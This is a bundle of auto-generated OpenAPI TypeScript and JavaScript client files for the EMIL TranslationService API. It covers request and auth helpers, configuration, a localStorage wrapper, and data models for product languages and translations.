export declare const createRequestFunction: (axiosArgs: RequestArgs, globalAxios: AxiosInstance, BASE_PATH: string, configuration?: Configuration) => <T = unknown, R = AxiosResponse<T, any, {}>>(axios?: AxiosInstance, basePath?: string) => Promise<R>;
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
export interface IStorageConverter<D, SD> {
toStorageData(data: D): SD;
fromStorageData(storageData: SD): D;
}
export interface IStorage {
get<T>(key: string, converter?: IStorageConverter<T, any>): T | null;
set<T>(key: string, value: T, converter?: IStorageConverter<T, any>): void;
}
export declare class LocalStorage implements IStorage {
readonly storage: Storage;
constructor();
get<T>(key: string, converter?: IStorageConverter<T, any>): T | null;
set<T>(key: string, value: T, converter?: IStorageConverter<T, any>): void;
}
export declare const defaultStorage: () => IStorage;
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
var __assign = (this && this.__assign) || function () {
__assign = Object.assign || function(t) {
for (var s, i = 1, n = arguments.length; i < n; i++) {
s = arguments[i];
for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p))
t[p] = s[p];
}
return t;
};
return __assign.apply(this, arguments);
};
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
return new (P || (P = Promise))(function (resolve, reject) {
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
step((generator = generator.apply(thisArg, _arguments || [])).next());
});
};
var __generator = (this && this.__generator) || function (thisArg, body) {
var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g;
return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
function verb(n) { return function (v) { return step([n, v]); }; }
function step(op) {
if (f) throw new TypeError("Generator is already executing.");
while (g && (g = 0, op[0] && (_ = 0)), _) try {
if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
if (y = 0, t) op = [op[0] & 2, t.value];
switch (op[0]) {
case 0: case 1: t = op; break;
case 4: _.label++; return { value: op[1], done: false };
case 5: _.label++; y = op[1]; op = [0]; continue;
case 7: op = _.ops.pop(); _.trys.pop(); continue;
default:
if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
if (t[2]) _.ops.pop();
_.trys.pop(); continue;
}
op = body.call(thisArg, _);
} catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
}
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.defaultStorage = exports.LocalStorage = exports.createRequestFunction = exports.toPathString = exports.serializeDataIfNeeded = exports.setSearchParams = exports.setOAuthToObject = exports.setBearerAuthToObject = exports.setBasicAuthToObject = exports.setApiKeyToObject = exports.assertParamExists = exports.DUMMY_BASE_URL = void 0;
var base_1 = require("./base");
var url_1 = require("url");
/**
*
* @export
*/
exports.DUMMY_BASE_URL = 'https://example.com';
/**
*
* @throws {RequiredError}
* @export
*/
var assertParamExists = function (functionName, paramName, paramValue) {
if (paramValue === null || paramValue === undefined) {
throw new base_1.RequiredError(paramName, "Required parameter ".concat(paramName, " was null or undefined when calling ").concat(functionName, "."));
}
};
exports.assertParamExists = assertParamExists;
/**
*
* @export
*/
var setApiKeyToObject = function (object, keyParamName, configuration) {
return __awaiter(this, void 0, void 0, function () {
var localVarApiKeyValue, _a;
return __generator(this, function (_b) {
switch (_b.label) {
case 0:
if (!(configuration && configuration.apiKey)) return [3 /*break*/, 5];
if (!(typeof configuration.apiKey === 'function')) return [3 /*break*/, 2];
return [4 /*yield*/, configuration.apiKey(keyParamName)];
case 1:
_a = _b.sent();
return [3 /*break*/, 4];
case 2: return [4 /*yield*/, configuration.apiKey];
case 3:
_a = _b.sent();
_b.label = 4;
case 4:
localVarApiKeyValue = _a;
object[keyParamName] = localVarApiKeyValue;
_b.label = 5;
case 5: return [2 /*return*/];
}
});
});
};
exports.setApiKeyToObject = setApiKeyToObject;
/**
*
* @export
*/
var setBasicAuthToObject = function (object, configuration) {
if (configuration && (configuration.username || configuration.password)) {
object["auth"] = { username: configuration.username, password: configuration.password };
}
};
exports.setBasicAuthToObject = setBasicAuthToObject;
/**
*
* @export
*/
var setBearerAuthToObject = function (object, configuration) {
return __awaiter(this, void 0, void 0, function () {
var accessToken, _a;
return __generator(this, function (_b) {
switch (_b.label) {
case 0:
if (!(configuration && configuration.accessToken)) return [3 /*break*/, 5];
if (!(typeof configuration.accessToken === 'function')) return [3 /*break*/, 2];
return [4 /*yield*/, configuration.accessToken()];
case 1:
_a = _b.sent();
return [3 /*break*/, 4];
case 2: return [4 /*yield*/, configuration.accessToken];
case 3:
_a = _b.sent();
_b.label = 4;
case 4:
accessToken = _a;
object["Authorization"] = configuration.getBearerToken(accessToken);
_b.label = 5;
case 5: return [2 /*return*/];
}
});
});
};
exports.setBearerAuthToObject = setBearerAuthToObject;
/**
*
* @export
*/
var setOAuthToObject = function (object, name, scopes, configuration) {
return __awaiter(this, void 0, void 0, function () {
var localVarAccessTokenValue, _a;
return __generator(this, function (_b) {
switch (_b.label) {
case 0:
if (!(configuration && configuration.accessToken)) return [3 /*break*/, 5];
if (!(typeof configuration.accessToken === 'function')) return [3 /*break*/, 2];
return [4 /*yield*/, configuration.accessToken(name, scopes)];
case 1:
_a = _b.sent();
return [3 /*break*/, 4];
case 2: return [4 /*yield*/, configuration.accessToken];
case 3:
_a = _b.sent();
_b.label = 4;
case 4:
localVarAccessTokenValue = _a;
object["Authorization"] = configuration.getBearerToken(localVarAccessTokenValue);
_b.label = 5;
case 5: return [2 /*return*/];
}
});
});
};
exports.setOAuthToObject = setOAuthToObject;
/**
*
* @export
*/
var setSearchParams = function (url) {
var objects = [];
for (var _i = 1; _i < arguments.length; _i++) {
objects[_i - 1] = arguments[_i];
}
var searchParams = new url_1.URLSearchParams(url.search);
for (var _a = 0, objects_1 = objects; _a < objects_1.length; _a++) {
var object = objects_1[_a];
for (var key in object) {
if (Array.isArray(object[key])) {
searchParams.delete(key);
for (var _b = 0, _c = object[key]; _b < _c.length; _b++) {
var item = _c[_b];
searchParams.append(key, item);
}
}
else {
searchParams.set(key, object[key]);
}
}
}
url.search = searchParams.toString();
};
exports.setSearchParams = setSearchParams;
/**
*
* @export
*/
var serializeDataIfNeeded = function (value, requestOptions, configuration) {
var nonString = typeof value !== 'string';
var needsSerialization = nonString && configuration && configuration.isJsonMime
? configuration.isJsonMime(requestOptions.headers['Content-Type'])
: nonString;
return needsSerialization
? JSON.stringify(value !== undefined ? value : {})
: (value || "");
};
exports.serializeDataIfNeeded = serializeDataIfNeeded;
/**
*
* @export
*/
var toPathString = function (url) {
return url.pathname + url.search + url.hash;
};
exports.toPathString = toPathString;
/**
*
* @export
*/
var createRequestFunction = function (axiosArgs, globalAxios, BASE_PATH, configuration) {
return function (axios, basePath) {
if (axios === void 0) { axios = globalAxios; }
if (basePath === void 0) { basePath = BASE_PATH; }
var axiosRequestArgs = __assign(__assign({}, axiosArgs.options), { url: ((configuration === null || configuration === void 0 ? void 0 : configuration.basePath) || basePath) + axiosArgs.url });
return axios.request(axiosRequestArgs);
};
};
exports.createRequestFunction = createRequestFunction;
var LocalStorage = /** @class */ (function () {
function LocalStorage() {
this.storage = localStorage;
}
LocalStorage.prototype.get = function (key, converter) {
var jsonValue = this.storage.getItem(key);
if (jsonValue === null) {
return null;
}
var value = JSON.parse(jsonValue);
if (converter !== undefined) {
return converter.fromStorageData(value);
}
else {
return value;
}
};
LocalStorage.prototype.set = function (key, value, converter) {
var valueToStore = value;
if (converter !== undefined) {
valueToStore = converter.toStorageData(value);
}
var jsonValue = JSON.stringify(valueToStore);
this.storage.setItem(key, jsonValue);
};
return LocalStorage;
}());
exports.LocalStorage = LocalStorage;
var _defaultStorage = null;
var defaultStorage = function () {
return _defaultStorage || (_defaultStorage = new LocalStorage());
};
exports.defaultStorage = defaultStorage;
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
export interface ConfigurationParameters {
apiKey?: string | Promise<string> | ((name: string) => string) | ((name: string) => Promise<string>);
username?: string;
password?: string;
accessToken?: string | Promise<string> | ((name?: string, scopes?: string[]) => string) | ((name?: string, scopes?: string[]) => Promise<string>);
basePath?: string;
baseOptions?: any;
formDataCtor?: new () => any;
}
export declare class Configuration {
/**
* parameter for apiKey security
* @param name security name
* @memberof Configuration
*/
apiKey?: string | Promise<string> | ((name: string) => string) | ((name: string) => Promise<string>);
/**
* parameter for basic security
*
* @type {string}
* @memberof Configuration
*/
username?: string;
/**
* parameter for basic security
*
* @type {string}
* @memberof Configuration
*/
password?: string;
/**
* parameter for oauth2 security
* @param name security name
* @param scopes oauth2 scope
* @memberof Configuration
*/
accessToken?: string | Promise<string> | ((name?: string, scopes?: string[]) => string) | ((name?: string, scopes?: string[]) => Promise<string>);
/**
* override base path
*
* @type {string}
* @memberof Configuration
*/
basePath?: string;
/**
* base options for axios calls
*
* @type {any}
* @memberof Configuration
*/
baseOptions?: any;
/**
* The FormData constructor that will be used to create multipart form data
* requests. You can inject this here so that execution environments that
* do not support the FormData class can still run the generated client.
*
* @type {new () => FormData}
*/
formDataCtor?: new () => any;
/**
* parameter for automatically refreshing access token for oauth2 security
*
* @type {string}
* @memberof Configuration
*/
refreshToken?: string;
constructor(param?: ConfigurationParameters);
/**
* Check if the given MIME is a JSON MIME.
* JSON MIME examples:
* application/json
* application/json; charset=UTF8
* APPLICATION/JSON
* application/vnd.company+json
* @param mime - MIME (Multipurpose Internet Mail Extensions)
* @return True if the given MIME is JSON, false otherwise.
*/
isJsonMime(mime: string): boolean;
/**
* Returns "Bearer" token.
* @param token - access token.
* @return Bearer token.
*/
getBearerToken(token?: string): string;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
exports.Configuration = void 0;
var Configuration = /** @class */ (function () {
function Configuration(param) {
if (param === void 0) { param = {}; }
this.apiKey = param.apiKey;
this.username = param.username;
this.password = param.password;
this.accessToken = param.accessToken;
this.basePath = param.basePath;
this.baseOptions = param.baseOptions;
this.formDataCtor = param.formDataCtor;
}
/**
* Check if the given MIME is a JSON MIME.
* JSON MIME examples:
* application/json
* application/json; charset=UTF8
* APPLICATION/JSON
* application/vnd.company+json
* @param mime - MIME (Multipurpose Internet Mail Extensions)
* @return True if the given MIME is JSON, false otherwise.
*/
Configuration.prototype.isJsonMime = function (mime) {
var jsonMime = new RegExp('^(application\/json|[^;/ \t]+\/[^;/ \t]+[+]json)[ \t]*(;.*)?$', 'i');
return mime !== null && (jsonMime.test(mime) || mime.toLowerCase() === 'application/json-patch+json');
};
/**
* Returns "Bearer" token.
* @param token - access token.
* @return Bearer token.
*/
Configuration.prototype.getBearerToken = function (token) {
return ('' + token).startsWith("Bearer") ? token : "Bearer " + token;
};
return Configuration;
}());
exports.Configuration = Configuration;
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
export { Environment, BaseAPI } from "./base";
export * from "./api";
export * from "./configuration";
export * from "./models";
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
var desc = Object.getOwnPropertyDescriptor(m, k);
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
desc = { enumerable: true, get: function() { return m[k]; } };
}
Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __exportStar = (this && this.__exportStar) || function(m, exports) {
for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.BaseAPI = exports.Environment = void 0;
var base_1 = require("./base");
Object.defineProperty(exports, "Environment", { enumerable: true, get: function () { return base_1.Environment; } });
Object.defineProperty(exports, "BaseAPI", { enumerable: true, get: function () { return base_1.BaseAPI; } });
__exportStar(require("./api"), exports);
__exportStar(require("./configuration"), exports);
__exportStar(require("./models"), exports);
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface CreateProductLanguageRequestDto
*/
export interface CreateProductLanguageRequestDto {
/**
* A slug is a human-readable, unique identifier, used to identify a resource instead of a less human-readable identifier like an id.
* @type {string}
* @memberof CreateProductLanguageRequestDto
*/
'productSlug': string;
/**
* Language of the product.
* @type {string}
* @memberof CreateProductLanguageRequestDto
*/
'language': CreateProductLanguageRequestDtoLanguageEnum;
/**
* Indicates whether the language is activated for the product.
* @type {boolean}
* @memberof CreateProductLanguageRequestDto
*/
'isActive': boolean;
}
export declare const CreateProductLanguageRequestDtoLanguageEnum: {
readonly German: "German";
readonly English: "English";
readonly Polish: "Polish";
readonly French: "French";
readonly Italian: "Italian";
readonly Spanish: "Spanish";
readonly Portuguese: "Portuguese";
readonly Russian: "Russian";
readonly Japanese: "Japanese";
readonly Chinese: "Chinese";
readonly Korean: "Korean";
readonly Turkish: "Turkish";
readonly Arabic: "Arabic";
readonly Hindi: "Hindi";
readonly Indonesian: "Indonesian";
readonly Thai: "Thai";
readonly Vietnamese: "Vietnamese";
readonly Persian: "Persian";
readonly Romanian: "Romanian";
};
export type CreateProductLanguageRequestDtoLanguageEnum = typeof CreateProductLanguageRequestDtoLanguageEnum[keyof typeof CreateProductLanguageRequestDtoLanguageEnum];
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
exports.CreateProductLanguageRequestDtoLanguageEnum = void 0;
exports.CreateProductLanguageRequestDtoLanguageEnum = {
German: 'German',
English: 'English',
Polish: 'Polish',
French: 'French',
Italian: 'Italian',
Spanish: 'Spanish',
Portuguese: 'Portuguese',
Russian: 'Russian',
Japanese: 'Japanese',
Chinese: 'Chinese',
Korean: 'Korean',
Turkish: 'Turkish',
Arabic: 'Arabic',
Hindi: 'Hindi',
Indonesian: 'Indonesian',
Thai: 'Thai',
Vietnamese: 'Vietnamese',
Persian: 'Persian',
Romanian: 'Romanian'
};
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { ProductLanguageClass } from './product-language-class';
/**
*
* @export
* @interface CreateProductLanguageResponseClass
*/
export interface CreateProductLanguageResponseClass {
/**
* The created product language.
* @type {ProductLanguageClass}
* @memberof CreateProductLanguageResponseClass
*/
'productLanguage': ProductLanguageClass;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { ProductLanguageClass } from './product-language-class';
/**
*
* @export
* @interface GetProductLanguageResponseClass
*/
export interface GetProductLanguageResponseClass {
/**
* The requested product language.
* @type {ProductLanguageClass}
* @memberof GetProductLanguageResponseClass
*/
'productLanguage': ProductLanguageClass;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
export * from './create-product-language-request-dto';
export * from './create-product-language-response-class';
export * from './get-product-language-response-class';
export * from './inline-response200';
export * from './inline-response503';
export * from './list-product-languages-response-class';
export * from './list-translations-response-class';
export * from './product-language-class';
export * from './translation-class';
export * from './update-product-language-request-dto';
export * from './update-product-language-response-class';
export * from './upload-product-translations-response-class';
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
var desc = Object.getOwnPropertyDescriptor(m, k);
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
desc = { enumerable: true, get: function() { return m[k]; } };
}
Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __exportStar = (this && this.__exportStar) || function(m, exports) {
for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
};
Object.defineProperty(exports, "__esModule", { value: true });
__exportStar(require("./create-product-language-request-dto"), exports);
__exportStar(require("./create-product-language-response-class"), exports);
__exportStar(require("./get-product-language-response-class"), exports);
__exportStar(require("./inline-response200"), exports);
__exportStar(require("./inline-response503"), exports);
__exportStar(require("./list-product-languages-response-class"), exports);
__exportStar(require("./list-translations-response-class"), exports);
__exportStar(require("./product-language-class"), exports);
__exportStar(require("./translation-class"), exports);
__exportStar(require("./update-product-language-request-dto"), exports);
__exportStar(require("./update-product-language-response-class"), exports);
__exportStar(require("./upload-product-translations-response-class"), exports);
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface InlineResponse200
*/
export interface InlineResponse200 {
/**
*
* @type {string}
* @memberof InlineResponse200
*/
'status'?: string;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse200
*/
'info'?: {
[key: string]: {
[key: string]: object;
};
} | null;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse200
*/
'error'?: {
[key: string]: {
[key: string]: object;
};
} | null;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse200
*/
'details'?: {
[key: string]: {
[key: string]: object;
};
};
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface InlineResponse503
*/
export interface InlineResponse503 {
/**
*
* @type {string}
* @memberof InlineResponse503
*/
'status'?: string;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse503
*/
'info'?: {
[key: string]: {
[key: string]: object;
};
} | null;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse503
*/
'error'?: {
[key: string]: {
[key: string]: object;
};
} | null;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse503
*/
'details'?: {
[key: string]: {
[key: string]: object;
};
};
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { ProductLanguageClass } from './product-language-class';
/**
*
* @export
* @interface ListProductLanguagesResponseClass
*/
export interface ListProductLanguagesResponseClass {
/**
* The list of product languages.
* @type {Array<ProductLanguageClass>}
* @memberof ListProductLanguagesResponseClass
*/
'items': Array<ProductLanguageClass>;
/**
* Next page token.
* @type {string}
* @memberof ListProductLanguagesResponseClass
*/
'nextPageToken': string;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { TranslationClass } from './translation-class';
/**
*
* @export
* @interface ListTranslationsResponseClass
*/
export interface ListTranslationsResponseClass {
/**
* The list of translations.
* @type {Array<TranslationClass>}
* @memberof ListTranslationsResponseClass
*/
'items': Array<TranslationClass>;
/**
* Next page token.
* @type {string}
* @memberof ListTranslationsResponseClass
*/
'nextPageToken': string;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface ProductLanguageClass
*/
export interface ProductLanguageClass {
/**
* Internal unique identifier for the object. You should not have to use this, use code instead.
* @type {number}
* @memberof ProductLanguageClass
*/
'id': number;
/**
* A slug is a human-readable, unique identifier, used to identify a resource instead of a less human-readable identifier like an id.
* @type {string}
* @memberof ProductLanguageClass
*/
'productSlug': string;
/**
* The language of the product.
* @type {string}
* @memberof ProductLanguageClass
*/
'language': ProductLanguageClassLanguageEnum;
/**
* Indicates whether the language is activated for the product.
* @type {boolean}
* @memberof ProductLanguageClass
*/
'isActive': boolean;
/**
* The translation status. It tells if the language is ready to be used in the product and how many fields are missing.
* @type {object}
* @memberof ProductLanguageClass
*/
'translationStatus': object | null;
/**
* Time at which the object was created.
* @type {string}
* @memberof ProductLanguageClass
*/
'createdAt': string;
/**
* Time at which the object was updated.
* @type {string}
* @memberof ProductLanguageClass
*/
'updatedAt': string;
}
export declare const ProductLanguageClassLanguageEnum: {
readonly German: "German";
readonly English: "English";
readonly Polish: "Polish";
readonly French: "French";
readonly Italian: "Italian";
readonly Spanish: "Spanish";
readonly Portuguese: "Portuguese";
readonly Russian: "Russian";
readonly Japanese: "Japanese";
readonly Chinese: "Chinese";
readonly Korean: "Korean";
readonly Turkish: "Turkish";
readonly Arabic: "Arabic";
readonly Hindi: "Hindi";
readonly Indonesian: "Indonesian";
readonly Thai: "Thai";
readonly Vietnamese: "Vietnamese";
readonly Persian: "Persian";
readonly Romanian: "Romanian";
};
export type ProductLanguageClassLanguageEnum = typeof ProductLanguageClassLanguageEnum[keyof typeof ProductLanguageClassLanguageEnum];
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
exports.ProductLanguageClassLanguageEnum = void 0;
exports.ProductLanguageClassLanguageEnum = {
German: 'German',
English: 'English',
Polish: 'Polish',
French: 'French',
Italian: 'Italian',
Spanish: 'Spanish',
Portuguese: 'Portuguese',
Russian: 'Russian',
Japanese: 'Japanese',
Chinese: 'Chinese',
Korean: 'Korean',
Turkish: 'Turkish',
Arabic: 'Arabic',
Hindi: 'Hindi',
Indonesian: 'Indonesian',
Thai: 'Thai',
Vietnamese: 'Vietnamese',
Persian: 'Persian',
Romanian: 'Romanian'
};
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface TranslationClass
*/
export interface TranslationClass {
/**
* Internal unique identifier for the object. You should not have to use this, use code instead.
* @type {number}
* @memberof TranslationClass
*/
'id': number;
/**
* Identifier of the translated field
* @type {string}
* @memberof TranslationClass
*/
'key': string;
/**
* Language of the translation
* @type {string}
* @memberof TranslationClass
*/
'language': string;
/**
* Translated value
* @type {string}
* @memberof TranslationClass
*/
'value': string;
/**
* Time at which the object was created.
* @type {string}
* @memberof TranslationClass
*/
'createdAt': string;
/**
* Time at which the object was updated.
* @type {string}
* @memberof TranslationClass
*/
'updatedAt': string;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface UpdateProductLanguageRequestDto
*/
export interface UpdateProductLanguageRequestDto {
/**
* Internal unique identifier for the object. You should not have to use this, use code instead.
* @type {number}
* @memberof UpdateProductLanguageRequestDto
*/
'id': number;
/**
* Language of the product.
* @type {string}
* @memberof UpdateProductLanguageRequestDto
*/
'language': UpdateProductLanguageRequestDtoLanguageEnum;
/**
* Indicates whether the language is activated for the product.
* @type {boolean}
* @memberof UpdateProductLanguageRequestDto
*/
'isActive': boolean;
}
export declare const UpdateProductLanguageRequestDtoLanguageEnum: {
readonly German: "German";
readonly English: "English";
readonly Polish: "Polish";
readonly French: "French";
readonly Italian: "Italian";
readonly Spanish: "Spanish";
readonly Portuguese: "Portuguese";
readonly Russian: "Russian";
readonly Japanese: "Japanese";
readonly Chinese: "Chinese";
readonly Korean: "Korean";
readonly Turkish: "Turkish";
readonly Arabic: "Arabic";
readonly Hindi: "Hindi";
readonly Indonesian: "Indonesian";
readonly Thai: "Thai";
readonly Vietnamese: "Vietnamese";
readonly Persian: "Persian";
readonly Romanian: "Romanian";
};
export type UpdateProductLanguageRequestDtoLanguageEnum = typeof UpdateProductLanguageRequestDtoLanguageEnum[keyof typeof UpdateProductLanguageRequestDtoLanguageEnum];
